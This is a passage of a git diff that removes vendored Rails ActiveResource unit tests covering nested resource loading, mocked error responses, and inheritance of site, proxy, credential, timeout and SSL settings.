-    @matz  = { :id => 1, :name => 'Matz' }
-
-    @first_address = { :id => 1, :street => '12345 Street' }
-    @addresses = [@first_address, { :id => 2, :street => '67890 Street' }]
-    @addresses_from_xml = { :street_addresses => @addresses }
-    @addresses_from_xml_single = { :street_addresses => [ @first_address ] }
-
-    @deep  = { :id => 1, :street => {
-      :id => 1, :state => { :id => 1, :name => 'Oregon',
-        :notable_rivers => [
-          { :id => 1, :name => 'Willamette' },
-          { :id => 2, :name => 'Columbia', :rafted_by => @matz }],
-        :postal_codes => [ 97018, 1234567890 ],
-        :places => [ "Columbia City", "Unknown" ]}}}
-
-    @person = Person.new
-  end
-
-  def test_load_expects_hash
-    assert_raise(ArgumentError) { @person.load nil }
-    assert_raise(ArgumentError) { @person.load '<person id="1"/>' }
-  end
-
-  def test_load_simple_hash
-    assert_equal Hash.new, @person.attributes
-    assert_equal @matz.stringify_keys, @person.load(@matz).attributes
-  end
-
-  def test_load_one_with_existing_resource
-    address = @person.load(:street_address => @first_address).street_address
-    assert_kind_of StreetAddress, address
-    assert_equal @first_address.stringify_keys, address.attributes
-  end
-
-  def test_load_one_with_unknown_resource
-    address = silence_warnings { @person.load(:address => @first_address).address }
-    assert_kind_of Person::Address, address
-    assert_equal @first_address.stringify_keys, address.attributes
-  end
-
-  def test_load_collection_with_existing_resource
-    addresses = @person.load(@addresses_from_xml).street_addresses
-    assert_kind_of Array, addresses
-    addresses.each { |address| assert_kind_of StreetAddress, address }
-    assert_equal @addresses.map(&:stringify_keys), addresses.map(&:attributes)
-  end
-
-  def test_load_collection_with_unknown_resource
-    Person.__send__(:remove_const, :Address) if Person.const_defined?(:Address)
-    assert !Person.const_defined?(:Address), "Address shouldn't exist until autocreated"
-    addresses = silence_warnings { @person.load(:addresses => @addresses).addresses }
-    assert Person.const_defined?(:Address), "Address should have been autocreated"
-    addresses.each { |address| assert_kind_of Person::Address, address }
-    assert_equal @addresses.map(&:stringify_keys), addresses.map(&:attributes)
-  end
-
-  def test_load_collection_with_single_existing_resource
-    addresses = @person.load(@addresses_from_xml_single).street_addresses
-    assert_kind_of Array, addresses
-    addresses.each { |address| assert_kind_of StreetAddress, address }
-    assert_equal [ @first_address ].map(&:stringify_keys), addresses.map(&:attributes)
-  end
-
-  def test_load_collection_with_single_unknown_resource
-    Person.__send__(:remove_const, :Address) if Person.const_defined?(:Address)
-    assert !Person.const_defined?(:Address), "Address shouldn't exist until autocreated"
-    addresses = silence_warnings { @person.load(:addresses => [ @first_address ]).addresses }
-    assert Person.const_defined?(:Address), "Address should have been autocreated"
-    addresses.each { |address| assert_kind_of Person::Address, address }
-    assert_equal [ @first_address ].map(&:stringify_keys), addresses.map(&:attributes)
-  end
-
-  def test_recursively_loaded_collections
-    person = @person.load(@deep)
-    assert_equal @deep[:id], person.id
-
-    street = person.street
-    assert_kind_of Person::Street, street
-    assert_equal @deep[:street][:id], street.id
-
-    state = street.state
-    assert_kind_of Person::Street::State, state
-    assert_equal @deep[:street][:state][:id], state.id
-
-    rivers = state.notable_rivers
-    assert_kind_of Array, rivers
-    assert_kind_of Person::Street::State::NotableRiver, rivers.first
-    assert_equal @deep[:street][:state][:notable_rivers].first[:id], rivers.first.id
-    assert_equal @matz[:id], rivers.last.rafted_by.id
-
-    postal_codes = state.postal_codes
-    assert_kind_of Array, postal_codes
-    assert_equal 2, postal_codes.size
-    assert_kind_of Fixnum, postal_codes.first
-    assert_equal @deep[:street][:state][:postal_codes].first, postal_codes.first
-    assert_kind_of Numeric, postal_codes.last
-    assert_equal @deep[:street][:state][:postal_codes].last, postal_codes.last
-
-    places = state.places
-    assert_kind_of Array, places
-    assert_kind_of String, places.first
-    assert_equal @deep[:street][:state][:places].first, places.first
-  end
-  
-  def test_nested_collections_within_the_same_namespace
-    n = Highrise::Note.new(:comments => [{ :name => "1" }])
-    assert_kind_of Highrise::Comment, n.comments.first
-  end
-
-  def test_nested_collections_within_deeply_nested_namespace
-    n = Highrise::Deeply::Nested::Note.new(:comments => [{ :name => "1" }])
-    assert_kind_of Highrise::Deeply::Nested::Comment, n.comments.first
-  end
-
-  def test_nested_collections_in_different_levels_of_namespaces
-    n = Highrise::Deeply::Nested::TestDifferentLevels::Note.new(:comments => [{ :name => "1" }])
-    assert_kind_of Highrise::Deeply::Nested::Comment, n.comments.first
-  end
-
-
-end
diff --git a/vendor/rails/activeresource/test/base_errors_test.rb b/vendor/rails/activeresource/test/base_errors_test.rb
deleted file mode 100644
index 7183d7af..00000000
--- a/vendor/rails/activeresource/test/base_errors_test.rb
+++ /dev/null
@@ -1,98 +0,0 @@
-require 'abstract_unit'
-require "fixtures/person"
-
-class BaseErrorsTest < Test::Unit::TestCase
-  def setup
-    ActiveResource::HttpMock.respond_to do |mock|
-      mock.post "/people.xml", {}, %q(<?xml version="1.0" encoding="UTF-8"?><errors><error>Age can't be blank</error><error>Name can't be blank</error><error>Name must start with a letter</error><error>Person quota full for today.</error></errors>), 422, {'Content-Type' => 'application/xml; charset=utf-8'}
-      mock.post "/people.json", {}, %q({"errors":["Age can't be blank","Name can't be blank","Name must start with a letter","Person quota full for today."]}), 422, {'Content-Type' => 'application/json; charset=utf-8'}
-    end
-    @person = Person.new(:name => '', :age => '')
-    assert_equal @person.save, false
-  end
-
-  def test_should_mark_as_invalid
-    [ :json, :xml ].each do |format|
-      invalid_user_using_format(format) do
-        assert !@person.valid?
-      end
-    end
-  end
-
-  def test_should_parse_xml_errors
-    [ :json, :xml ].each do |format|
-      invalid_user_using_format(format) do
-        assert_kind_of ActiveResource::Errors, @person.errors
-        assert_equal 4, @person.errors.size
-      end
-    end
-  end
-
-  def test_should_parse_errors_to_individual_attributes
-    [ :json, :xml ].each do |format|
-      invalid_user_using_format(format) do
-        assert @person.errors[:name].any?
-        assert_equal "can't be blank", @person.errors[:age]
-        assert_equal ["can't be blank", "must start with a letter"], @person.errors[:name]
-        assert_equal "Person quota full for today.", @person.errors[:base]
-      end
-    end
-  end
-
-  def test_should_iterate_over_errors
-    [ :json, :xml ].each do |format|
-      invalid_user_using_format(format) do
-        errors = []
-        @person.errors.each { |attribute, message| errors << [attribute, message] }
-        assert errors.include?(['name', "can't be blank"])
-      end
-    end
-  end
-
-  def test_should_iterate_over_full_errors
-    [ :json, :xml ].each do |format|
-      invalid_user_using_format(format) do
-        errors = []
-        @person.errors.to_a.each { |message| errors << message }
-        assert errors.include?(["name", "can't be blank"])
-      end
-    end
-  end
-
-  def test_should_format_full_errors
-    [ :json, :xml ].each do |format|
-      invalid_user_using_format(format) do
-        full = @person.errors.full_messages
-        assert full.include?("Age can't be blank")
-        assert full.include?("Name can't be blank")
-        assert full.include?("Name must start with a letter")
-        assert full.include?("Person quota full for today.")
-      end
-    end
-  end
-
-  def test_should_mark_as_invalid_when_content_type_is_unavailable_in_response_header
-    ActiveResource::HttpMock.respond_to do |mock|
-      mock.post "/people.xml", {}, %q(<?xml version="1.0" encoding="UTF-8"?><errors><error>Age can't be blank</error><error>Name can't be blank</error><error>Name must start with a letter</error><error>Person quota full for today.</error></errors>), 422, {}
-      mock.post "/people.json", {}, %q({"errors":["Age can't be blank","Name can't be blank","Name must start with a letter","Person quota full for today."]}), 422, {}
-    end
-
-    [ :json, :xml ].each do |format|
-      invalid_user_using_format(format) do
-        assert !@person.valid?
-      end
-    end
-  end
-
-  private
-  def invalid_user_using_format(mime_type_reference)
-    previous_format = Person.format
-    Person.format = mime_type_reference
-    @person = Person.new(:name => '', :age => '')
-    assert_equal false, @person.save
-
-    yield
-  ensure
-    Person.format = previous_format
-  end
-end
diff --git a/vendor/rails/activeresource/test/base_test.rb b/vendor/rails/activeresource/test/base_test.rb
deleted file mode 100644
index 2a9ca65a..00000000
--- a/vendor/rails/activeresource/test/base_test.rb
+++ /dev/null
@@ -1,1087 +0,0 @@
-require 'abstract_unit'
-require "fixtures/person"
-require "fixtures/customer"
-require "fixtures/street_address"
-require "fixtures/beast"
-require "fixtures/proxy"
-require 'active_support/json'
-
-class BaseTest < Test::Unit::TestCase
-  def setup
-    @matz  = { :id => 1, :name => 'Matz' }.to_xml(:root => 'person')
-    @david = { :id => 2, :name => 'David' }.to_xml(:root => 'person')
-    @greg  = { :id => 3, :name => 'Greg' }.to_xml(:root => 'person')
-    @addy  = { :id => 1, :street => '12345 Street' }.to_xml(:root => 'address')
-    @default_request_headers = { 'Content-Type' => 'application/xml' }
-    @rick = { :name => "Rick", :age => 25 }.to_xml(:root => "person")
-    @joe   = {'person' => { :id => 6, :name => 'Joe' }}.to_json
-    @people = [{ :id => 1, :name => 'Matz' }, { :id => 2, :name => 'David' }].to_xml(:root => 'people')
-    @people_david = [{ :id => 2, :name => 'David' }].to_xml(:root => 'people')
-    @addresses = [{ :id => 1, :street => '12345 Street' }].to_xml(:root => 'addresses')
-
-    # - deep nested resource -
-    # - Luis (Customer)
-    #   - JK (Customer::Friend)
-    #     - Mateo (Customer::Friend::Brother)
-    #       - Edith (Customer::Friend::Brother::Child)
-    #       - Martha (Customer::Friend::Brother::Child)
-    #     - Felipe (Customer::Friend::Brother)
-    #       - Bryan (Customer::Friend::Brother::Child)
-    #       - Luke (Customer::Friend::Brother::Child)
-    #   - Eduardo (Customer::Friend)
-    #     - Sebas (Customer::Friend::Brother)
-    #       - Andres (Customer::Friend::Brother::Child)
-    #       - Jorge (Customer::Friend::Brother::Child)
-    #     - Elsa (Customer::Friend::Brother)
-    #       - Natacha (Customer::Friend::Brother::Child)
-    #     - Milena (Customer::Friend::Brother)
-    #
-    @luis = {:id => 1, :name => 'Luis',
-              :friends => [{:name => 'JK',
-                            :brothers => [{:name => 'Mateo',
-                                           :children => [{:name => 'Edith'},{:name => 'Martha'}]},
-                                          {:name => 'Felipe',
-                                           :children => [{:name => 'Bryan'},{:name => 'Luke'}]}]},
-                           {:name => 'Eduardo',
-                            :brothers => [{:name => 'Sebas',
-                                           :children => [{:name => 'Andres'},{:name => 'Jorge'}]},
-                                          {:name => 'Elsa',
-                                           :children => [{:name => 'Natacha'}]},
-                                          {:name => 'Milena',
-                                           :children => []}]}]}.to_xml(:root => 'customer')
-    # - resource with yaml array of strings; for ActiveRecords using serialize :bar, Array
-    @marty = <<-eof.strip
-      <?xml version=\"1.0\" encoding=\"UTF-8\"?>
-      <person>
-        <id type=\"integer\">5</id>
-        <name>Marty</name>
-        <colors type=\"yaml\">---
-      - \"red\"
-      - \"green\"
-      - \"blue\"
-      </colors>
-      </person>
-    eof
-
-    ActiveResource::HttpMock.respond_to do |mock|
-      mock.get    "/people/1.xml",                {}, @matz
-      mock.get    "/people/2.xml",                {}, @david
-      mock.get    "/people/6.json",               {}, @joe
-      mock.get    "/people/5.xml",                {}, @marty
-      mock.get    "/people/Greg.xml",             {}, @greg
-      mock.get    "/people/4.xml",                {'key' => 'value'}, nil, 404
-      mock.put    "/people/1.xml",                {}, nil, 204
-      mock.delete "/people/1.xml",                {}, nil, 200
-      mock.delete "/people/2.xml",                {}, nil, 400
-      mock.get    "/people/99.xml",               {}, nil, 404
-      mock.post   "/people.xml",                  {}, @rick, 201, 'Location' => '/people/5.xml'
-      mock.get    "/people.xml",                  {}, @people
-      mock.get    "/people/1/addresses.xml",      {}, @addresses
-      mock.get    "/people/1/addresses/1.xml",    {}, @addy
-      mock.get    "/people/1/addresses/2.xml",    {}, nil, 404
-      mock.get    "/people/2/addresses/1.xml",    {}, nil, 404
-      mock.get    "/people/Greg/addresses/1.xml", {}, @addy
-      mock.put    "/people/1/addresses/1.xml",    {}, nil, 204
-      mock.delete "/people/1/addresses/1.xml",    {}, nil, 200
-      mock.post   "/people/1/addresses.xml",      {}, nil, 201, 'Location' => '/people/1/addresses/5'
-      mock.get    "/people//addresses.xml",       {}, nil, 404
-      mock.get    "/people//addresses/1.xml",     {}, nil, 404
-      mock.put    "/people//addresses/1.xml",     {}, nil, 404
-      mock.delete "/people//addresses/1.xml",     {}, nil, 404
-      mock.post   "/people//addresses.xml",       {}, nil, 404
-      mock.head   "/people/1.xml",                {}, nil, 200
-      mock.head   "/people/Greg.xml",             {}, nil, 200
-      mock.head   "/people/99.xml",               {}, nil, 404
-      mock.head   "/people/1/addresses/1.xml",    {}, nil, 200
-      mock.head   "/people/1/addresses/2.xml",    {}, nil, 404
-      mock.head   "/people/2/addresses/1.xml",    {}, nil, 404
-      mock.head   "/people/Greg/addresses/1.xml", {}, nil, 200
-      # customer
-      mock.get    "/customers/1.xml",             {}, @luis
-    end
-
-    Person.user = nil
-    Person.password = nil
-  end
-
-
-  def test_site_accessor_accepts_uri_or_string_argument
-    site = URI.parse('http://localhost')
-
-    assert_nothing_raised { Person.site = 'http://localhost' }
-    assert_equal site, Person.site
-
-    assert_nothing_raised { Person.site = site }
-    assert_equal site, Person.site
-  end
-
-  def test_should_use_site_prefix_and_credentials
-    assert_equal 'http://foo:bar@beast.caboo.se', Forum.site.to_s
-    assert_equal 'http://foo:bar@beast.caboo.se/forums/:forum_id', Topic.site.to_s
-  end
-
-  def test_site_variable_can_be_reset
-    actor = Class.new(ActiveResource::Base)
-    assert_nil actor.site
-    actor.site = 'http://localhost:31337'
-    actor.site = nil
-    assert_nil actor.site
-  end
-
-  def test_proxy_accessor_accepts_uri_or_string_argument
-    proxy = URI.parse('http://localhost')
-
-    assert_nothing_raised { Person.proxy = 'http://localhost' }
-    assert_equal proxy, Person.proxy
-
-    assert_nothing_raised { Person.proxy = proxy }
-    assert_equal proxy, Person.proxy
-  end
-
-  def test_should_use_proxy_prefix_and_credentials
-    assert_equal 'http://user:password@proxy.local:3000', ProxyResource.proxy.to_s
-  end
-
-  def test_proxy_variable_can_be_reset
-    actor = Class.new(ActiveResource::Base)
-    assert_nil actor.site
-    actor.proxy = 'http://localhost:31337'
-    actor.proxy = nil
-    assert_nil actor.site
-  end
-
-  def test_should_accept_setting_user
-    Forum.user = 'david'
-    assert_equal('david', Forum.user)
-    assert_equal('david', Forum.connection.user)
-  end
-
-  def test_should_accept_setting_password
-    Forum.password = 'test123'
-    assert_equal('test123', Forum.password)
-    assert_equal('test123', Forum.connection.password)
-  end
-
-  def test_should_accept_setting_timeout
-    Forum.timeout = 5
-    assert_equal(5, Forum.timeout)
-    assert_equal(5, Forum.connection.timeout)
-  end
-
-  def test_should_accept_setting_ssl_options
-    expected = {:verify => 1}
-    Forum.ssl_options= expected
-    assert_equal(expected, Forum.ssl_options)
-    assert_equal(expected, Forum.connection.ssl_options)
-  end
-
-  def test_user_variable_can_be_reset
-    actor = Class.new(ActiveResource::Base)
-    actor.site = 'http://cinema'
-    assert_nil actor.user
-    actor.user = 'username'
-    actor.user = nil
-    assert_nil actor.user
-    assert_nil actor.connection.user
-  end
-
-  def test_password_variable_can_be_reset
-    actor = Class.new(ActiveResource::Base)
-    actor.site = 'http://cinema'
-    assert_nil actor.password
-    actor.password = 'username'
-    actor.password = nil
-    assert_nil actor.password
-    assert_nil actor.connection.password
-  end
-
-  def test_timeout_variable_can_be_reset
-    actor = Class.new(ActiveResource::Base)
-    actor.site = 'http://cinema'
-    assert_nil actor.timeout
-    actor.timeout = 5
-    actor.timeout = nil
-    assert_nil actor.timeout
-    assert_nil actor.connection.timeout
-  end
-
-  def test_ssl_options_hash_can_be_reset
-    actor = Class.new(ActiveResource::Base)
-    actor.site = 'https://cinema'
-    assert_nil actor.ssl_options
-    actor.ssl_options = {:foo => 5}
-    actor.ssl_options = nil
-    assert_nil actor.ssl_options
-    assert_nil actor.connection.ssl_options
-  end
-
-  def test_credentials_from_site_are_decoded
-    actor = Class.new(ActiveResource::Base)
-    actor.site = 'http://my%40email.com:%31%32%33@cinema'
-    assert_equal("my@email.com", actor.user)
-    assert_equal("123", actor.password)
-  end
-
-  def test_site_reader_uses_superclass_site_until_written
-    # Superclass is Object so returns nil.
-    assert_nil ActiveResource::Base.site
-    assert_nil Class.new(ActiveResource::Base).site
-
-    # Subclass uses superclass site.
-    actor = Class.new(Person)
-    assert_equal Person.site, actor.site
-
-    # Subclass returns frozen superclass copy.
-    assert !Person.site.frozen?
-    assert actor.site.frozen?
-
-    # Changing subclass site doesn't change superclass site.
-    actor.site = 'http://localhost:31337'
-    assert_not_equal Person.site, actor.site
-
-    # Changed subclass site is not frozen.
-    assert !actor.site.frozen?
-
-    # Changing superclass site doesn't overwrite subclass site.
-    Person.site = 'http://somewhere.else'
-    assert_not_equal Person.site, actor.site
-
-    # Changing superclass site after subclassing changes subclass site.
-    jester = Class.new(actor)
-    actor.site = 'http://nomad'
-    assert_equal actor.site, jester.site
-    assert jester.site.frozen?
-
-    # Subclasses are always equal to superclass site when not overridden
-    fruit = Class.new(ActiveResource::Base)
-    apple = Class.new(fruit)
-
-    fruit.site = 'http://market'
-    assert_equal fruit.site, apple.site, 'subclass did not adopt changes from parent class'
-
-    fruit.site = 'http://supermarket'
-    assert_equal fruit.site, apple.site, 'subclass did not adopt changes from parent class'
-  end
-
-  def test_proxy_reader_uses_superclass_site_until_written
-    # Superclass is Object so returns nil.
-    assert_nil ActiveResource::Base.proxy
-    assert_nil Class.new(ActiveResource::Base).proxy
-
-    # Subclass uses superclass proxy.
-    actor = Class.new(Person)
-    assert_equal Person.proxy, actor.proxy
-
-    # Subclass returns frozen superclass copy.
-    assert !Person.proxy.frozen?
-    assert actor.proxy.frozen?
-
-    # Changing subclass proxy doesn't change superclass site.
-    actor.proxy = 'http://localhost:31337'
-    assert_not_equal Person.proxy, actor.proxy
-
-    # Changed subclass proxy is not frozen.
-    assert !actor.proxy.frozen?
-
-    # Changing superclass proxy doesn't overwrite subclass site.
-    Person.proxy = 'http://somewhere.else'
-    assert_not_equal Person.proxy, actor.proxy
-
-    # Changing superclass proxy after subclassing changes subclass site.
-    jester = Class.new(actor)
-    actor.proxy = 'http://nomad'
-    assert_equal actor.proxy, jester.proxy
-    assert jester.proxy.frozen?
-
-    # Subclasses are always equal to superclass proxy when not overridden
-    fruit = Class.new(ActiveResource::Base)
-    apple = Class.new(fruit)
-
-    fruit.proxy = 'http://market'
-    assert_equal fruit.proxy, apple.proxy, 'subclass did not adopt changes from parent class'
-
-    fruit.proxy = 'http://supermarket'
-    assert_equal fruit.proxy, apple.proxy, 'subclass did not adopt changes from parent class'
-  end
-
-  def test_user_reader_uses_superclass_user_until_written
-    # Superclass is Object so returns nil.
-    assert_nil ActiveResource::Base.user
-    assert_nil Class.new(ActiveResource::Base).user
-    Person.user = 'anonymous'
-
-    # Subclass uses superclass user.
-    actor = Class.new(Person)
-    assert_equal Person.user, actor.user
-
-    # Subclass returns frozen superclass copy.
-    assert !Person.user.frozen?
-    assert actor.user.frozen?
-
-    # Changing subclass user doesn't change superclass user.
-    actor.user = 'david'
-    assert_not_equal Person.user, actor.user
-
-    # Changing superclass user doesn't overwrite subclass user.
-    Person.user = 'john'
-    assert_not_equal Person.user, actor.user
-
-    # Changing superclass user after subclassing changes subclass user.
-    jester = Class.new(actor)
-    actor.user = 'john.doe'
-    assert_equal actor.user, jester.user
-
-    # Subclasses are always equal to superclass user when not overridden
-    fruit = Class.new(ActiveResource::Base)
-    apple = Class.new(fruit)
-
-    fruit.user = 'manager'
-    assert_equal fruit.user, apple.user, 'subclass did not adopt changes from parent class'
-
-    fruit.user = 'client'
-    assert_equal fruit.user, apple.user, 'subclass did not adopt changes from parent class'
-  end
-
-  def test_password_reader_uses_superclass_password_until_written
-    # Superclass is Object so returns nil.
-    assert_nil ActiveResource::Base.password
-    assert_nil Class.new(ActiveResource::Base).password
-    Person.password = 'my-password'
-
-    # Subclass uses superclass password.
-    actor = Class.new(Person)
-    assert_equal Person.password, actor.password
-
-    # Subclass returns frozen superclass copy.
-    assert !Person.password.frozen?
-    assert actor.password.frozen?
-
-    # Changing subclass password doesn't change superclass password.
-    actor.password = 'secret'
-    assert_not_equal Person.password, actor.password
-
-    # Changing superclass password doesn't overwrite subclass password.
-    Person.password = 'super-secret'
-    assert_not_equal Person.password, actor.password
-
-    # Changing superclass password after subclassing changes subclass password.
-    jester = Class.new(actor)
-    actor.password = 'even-more-secret'
-    assert_equal actor.password, jester.password
-
-    # Subclasses are always equal to superclass password when not overridden
-    fruit = Class.new(ActiveResource::Base)
-    apple = Class.new(fruit)
-
-    fruit.password = 'mega-secret'
-    assert_equal fruit.password, apple.password, 'subclass did not adopt changes from parent class'
-
-    fruit.password = 'ok-password'
-    assert_equal fruit.password, apple.password, 'subclass did not adopt changes from parent class'
-  end
-
-  def test_timeout_reader_uses_superclass_timeout_until_written
-    # Superclass is Object so returns nil.
-    assert_nil ActiveResource::Base.timeout
-    assert_nil Class.new(ActiveResource::Base).timeout
-    Person.timeout = 5
-
-    # Subclass uses superclass timeout.
-    actor = Class.new(Person)
-    assert_equal Person.timeout, actor.timeout
-
-    # Changing subclass timeout doesn't change superclass timeout.
-    actor.timeout = 10
-    assert_not_equal Person.timeout, actor.timeout
-
-    # Changing superclass timeout doesn't overwrite subclass timeout.
-    Person.timeout = 15
-    assert_not_equal Person.timeout, actor.timeout
-
-    # Changing superclass timeout after subclassing changes subclass timeout.
-    jester = Class.new(actor)
-    actor.timeout = 20
-    assert_equal actor.timeout, jester.timeout
-
-    # Subclasses are always equal to superclass timeout when not overridden.
-    fruit = Class.new(ActiveResource::Base)
-    apple = Class.new(fruit)
-
-    fruit.timeout = 25
-    assert_equal fruit.timeout, apple.timeout, 'subclass did not adopt changes from parent class'
-
-    fruit.timeout = 30
-    assert_equal fruit.timeout, apple.timeout, 'subclass did not adopt changes from parent class'
-  end
-
-  def test_ssl_options_reader_uses_superclass_ssl_options_until_written
-    # Superclass is Object so returns nil.
-    assert_nil ActiveResource::Base.ssl_options
-    assert_nil Class.new(ActiveResource::Base).ssl_options
-    Person.ssl_options = {:foo => 'bar'}
-
-    # Subclass uses superclass ssl_options.
-    actor = Class.new(Person)
-    assert_equal Person.ssl_options, actor.ssl_options
-
-    # Changing subclass ssl_options doesn't change superclass ssl_options.
-    actor.ssl_options = {:baz => ''}
-    assert_not_equal Person.ssl_options, actor.ssl_options
-
-    # Changing superclass ssl_options doesn't overwrite subclass ssl_options.
-    Person.ssl_options = {:color => 'blue'}
-    assert_not_equal Person.ssl_options, actor.ssl_options
-
-    # Changing superclass ssl_options after subclassing changes subclass ssl_options.
-    jester = Class.new(actor)
-    actor.ssl_options = {:color => 'red'}
-    assert_equal actor.ssl_options, jester.ssl_options
-
-    # Subclasses are always equal to superclass ssl_options when not overridden.
-    fruit = Class.new(ActiveResource::Base)
-    apple = Class.new(fruit)
-
-    fruit.ssl_options = {:alpha => 'betas'}
-    assert_equal fruit.ssl_options, apple.ssl_options, 'subclass did not adopt changes from parent class'
-
-    fruit.ssl_options = {:omega => 'moos'}
-    assert_equal fruit.ssl_options, apple.ssl_options, 'subclass did not adopt changes from parent class'
-  end
-
-  def test_updating_baseclass_site_object_wipes_descendent_cached_connection_objects
-    # Subclasses are always equal to superclass site when not overridden
-    fruit = Class.new(ActiveResource::Base)
-    apple = Class.new(fruit)
-
-    fruit.site = 'http://market'
-    assert_equal fruit.connection.site, apple.connection.site
-    first_connection = apple.connection.object_id
-
-    fruit.site = 'http://supermarket'
-    assert_equal fruit.connection.site, apple.connection.site
-    second_connection = apple.connection.object_id
-    assert_not_equal(first_connection, second_connection, 'Connection should be re-created')
-  end
-
-  def test_updating_baseclass_user_wipes_descendent_cached_connection_objects
-    # Subclasses are always equal to superclass user when not overridden
-    fruit = Class.new(ActiveResource::Base)
-    apple = Class.new(fruit)
-    fruit.site = 'http://market'
-
-    fruit.user = 'david'
-    assert_equal fruit.connection.user, apple.connection.user
-    first_connection = apple.connection.object_id
-
-    fruit.user = 'john'
-    assert_equal fruit.connection.user, apple.connection.user
-    second_connection = apple.connection.object_id
-    assert_not_equal(first_connection, second_connection, 'Connection should be re-created')
-  end
-
-  def test_updating_baseclass_password_wipes_descendent_cached_connection_objects
-    # Subclasses are always equal to superclass password when not overridden
-    fruit = Class.new(ActiveResource::Base)
-    apple = Class.new(fruit)
-    fruit.site = 'http://market'
-
-    fruit.password = 'secret'
-    assert_equal fruit.connection.password, apple.connection.password
-    first_connection = apple.connection.object_id
-
-    fruit.password = 'supersecret'
-    assert_equal fruit.connection.password, apple.connection.password
-    second_connection = apple.connection.object_id
-    assert_not_equal(first_connection, second_connection, 'Connection should be re-created')
-  end
-
-  def test_updating_baseclass_timeout_wipes_descendent_cached_connection_objects
-    # Subclasses are always equal to superclass timeout when not overridden
-    fruit = Class.new(ActiveResource::Base)
-    apple = Class.new(fruit)
-    fruit.site = 'http://market'
-
-    fruit.timeout = 5
-    assert_equal fruit.connection.timeout, apple.connection.timeout
-    first_connection = apple.connection.object_id
-
-    fruit.timeout = 10
-    assert_equal fruit.connection.timeout, apple.connection.timeout
-    second_connection = apple.connection.object_id
-    assert_not_equal(first_connection, second_connection, 'Connection should be re-created')
-  end
-
-  def test_collection_name
-    assert_equal "people", Person.collection_name
-  end
-
-  def test_collection_path
-    assert_equal '/people.xml', Person.collection_path
-  end
-
-  def test_collection_path_with_parameters
-    assert_equal '/people.xml?gender=male', Person.collection_path(:gender => 'male')
-    assert_equal '/people.xml?gender=false', Person.collection_path(:gender => false)
-    assert_equal '/people.xml?gender=', Person.collection_path(:gender => nil)
-
-    assert_equal '/people.xml?gender=male', Person.collection_path('gender' => 'male')
-
-    # Use includes? because ordering of param hash is not guaranteed
-    assert Person.collection_path(:gender => 'male', :student => true).include?('/people.xml?')
-    assert Person.collection_path(:gender => 'male', :student => true).include?('gender=male')
-    assert Person.collection_path(:gender => 'male', :student => true).include?('student=true')
-
-    assert_equal '/people.xml?name%5B%5D=bob&name%5B%5D=your+uncle%2Bme&name%5B%5D=&name%5B%5D=false', Person.collection_path(:name => ['bob', 'your uncle+me', nil, false])
-
-    assert_equal '/people.xml?struct%5Ba%5D%5B%5D=2&struct%5Ba%5D%5B%5D=1&struct%5Bb%5D=fred', Person.collection_path(:struct => {:a => [2,1], 'b' => 'fred'})
-  end
-
-  def test_custom_element_path
-    assert_equal '/people/1/addresses/1.xml', StreetAddress.element_path(1, :person_id => 1)
-    assert_equal '/people/1/addresses/1.xml', StreetAddress.element_path(1, 'person_id' => 1)
-    assert_equal '/people/Greg/addresses/1.xml', StreetAddress.element_path(1, 'person_id' => 'Greg')
-  end
-
-  def test_custom_element_path_with_redefined_to_param
-    Person.module_eval do
-      alias_method :original_to_param_element_path, :to_param
-       def to_param
-         name
-       end
-    end
-
-    # Class method.
-    assert_equal '/people/Greg.xml', Person.element_path('Greg')
-
-    # Protected Instance method.
-    assert_equal '/people/Greg.xml', Person.find('Greg').send(:element_path)
-
-    ensure
-      # revert back to original
-      Person.module_eval do
-        # save the 'new' to_param so we don't get a warning about discarding the method
-        alias_method :element_path_to_param, :to_param
-        alias_method :to_param, :original_to_param_element_path
-      end
-  end
-
-  def test_custom_element_path_with_parameters
-    assert_equal '/people/1/addresses/1.xml?type=work', StreetAddress.element_path(1, :person_id => 1, :type => 'work')
-    assert_equal '/people/1/addresses/1.xml?type=work', StreetAddress.element_path(1, 'person_id' => 1, :type => 'work')
-    assert_equal '/people/1/addresses/1.xml?type=work', StreetAddress.element_path(1, :type => 'work', :person_id => 1)
-    assert_equal '/people/1/addresses/1.xml?type%5B%5D=work&type%5B%5D=play+time', StreetAddress.element_path(1, :person_id => 1, :type => ['work', 'play time'])
-  end
-
-  def test_custom_element_path_with_prefix_and_parameters
-    assert_equal '/people/1/addresses/1.xml?type=work', StreetAddress.element_path(1, {:person_id => 1}, {:type => 'work'})
-  end
-
-  def test_custom_collection_path
-    assert_equal '/people/1/addresses.xml', StreetAddress.collection_path(:person_id => 1)
-    assert_equal '/people/1/addresses.xml', StreetAddress.collection_path('person_id' => 1)
-  end
-
-  def test_custom_collection_path_with_parameters
-    assert_equal '/people/1/addresses.xml?type=work', StreetAddress.collection_path(:person_id => 1, :type => 'work')
-    assert_equal '/people/1/addresses.xml?type=work', StreetAddress.collection_path('person_id' => 1, :type => 'work')
-  end
-
-  def test_custom_collection_path_with_prefix_and_parameters
-    assert_equal '/people/1/addresses.xml?type=work', StreetAddress.collection_path({:person_id => 1}, {:type => 'work'})
-  end
-
-  def test_custom_element_name
-    assert_equal 'address', StreetAddress.element_name
-  end
-
-  def test_custom_collection_name
-    assert_equal 'addresses', StreetAddress.collection_name
-  end
-
-  def test_prefix
-    assert_equal "/", Person.prefix
-    assert_equal Set.new, Person.__send__(:prefix_parameters)
-  end
-
-  def test_set_prefix
-    SetterTrap.rollback_sets(Person) do |person_class|
-      person_class.prefix = "the_prefix"
-      assert_equal "the_prefix", person_class.prefix
-    end
-  end
-
-  def test_set_prefix_with_inline_keys
-    SetterTrap.rollback_sets(Person) do |person_class|
-      person_class.prefix = "the_prefix:the_param"
-      assert_equal "the_prefixthe_param_value", person_class.prefix(:the_param => "the_param_value")
-    end
-  end
-
-  def test_set_prefix_twice_should_clear_params
-    SetterTrap.rollback_sets(Person) do |person_class|
-      person_class.prefix = "the_prefix/:the_param1"
-      assert_equal Set.new([:the_param1]), person_class.prefix_parameters
-      person_class.prefix = "the_prefix/:the_param2"
-      assert_equal Set.new([:the_param2]), person_class.prefix_parameters
-    end
-  end
-
-  def test_set_prefix_with_default_value
-    SetterTrap.rollback_sets(Person) do |person_class|
-      person_class.set_prefix
-      assert_equal "/", person_class.prefix
-    end
-  end
-
-  def test_custom_prefix
-    assert_equal '/people//', StreetAddress.prefix
-    assert_equal '/people/1/', StreetAddress.prefix(:person_id => 1)
-    assert_equal [:person_id].to_set, StreetAddress.__send__(:prefix_parameters)
-  end
-
-  def test_find_by_id
-    matz = Person.find(1)
-    assert_kind_of Person, matz
-    assert_equal "Matz", matz.name
-    assert matz.name?
-  end
-
-  def test_respond_to
-    matz = Person.find(1)
